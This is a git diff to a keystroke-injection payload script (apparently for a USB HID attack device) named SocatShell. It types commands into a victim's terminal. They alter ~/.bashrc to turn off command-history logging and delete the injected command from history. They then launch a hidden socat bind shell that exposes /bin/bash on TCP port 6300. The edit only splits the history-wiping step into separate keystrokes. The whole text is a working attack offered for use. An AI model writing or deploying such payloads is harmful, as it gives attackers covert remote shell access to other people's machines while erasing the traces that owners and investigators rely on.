diff --git a/RECON/SocatShell.txt b/RECON/SocatShell.txt index c08f823..5361c53 100644 --- a/RECON/SocatShell.txt +++ b/RECON/SocatShell.txt @@ -26,7 +26,13 @@ STRING terminal DELAY 1000 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER ENTER DELAY 500 STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null &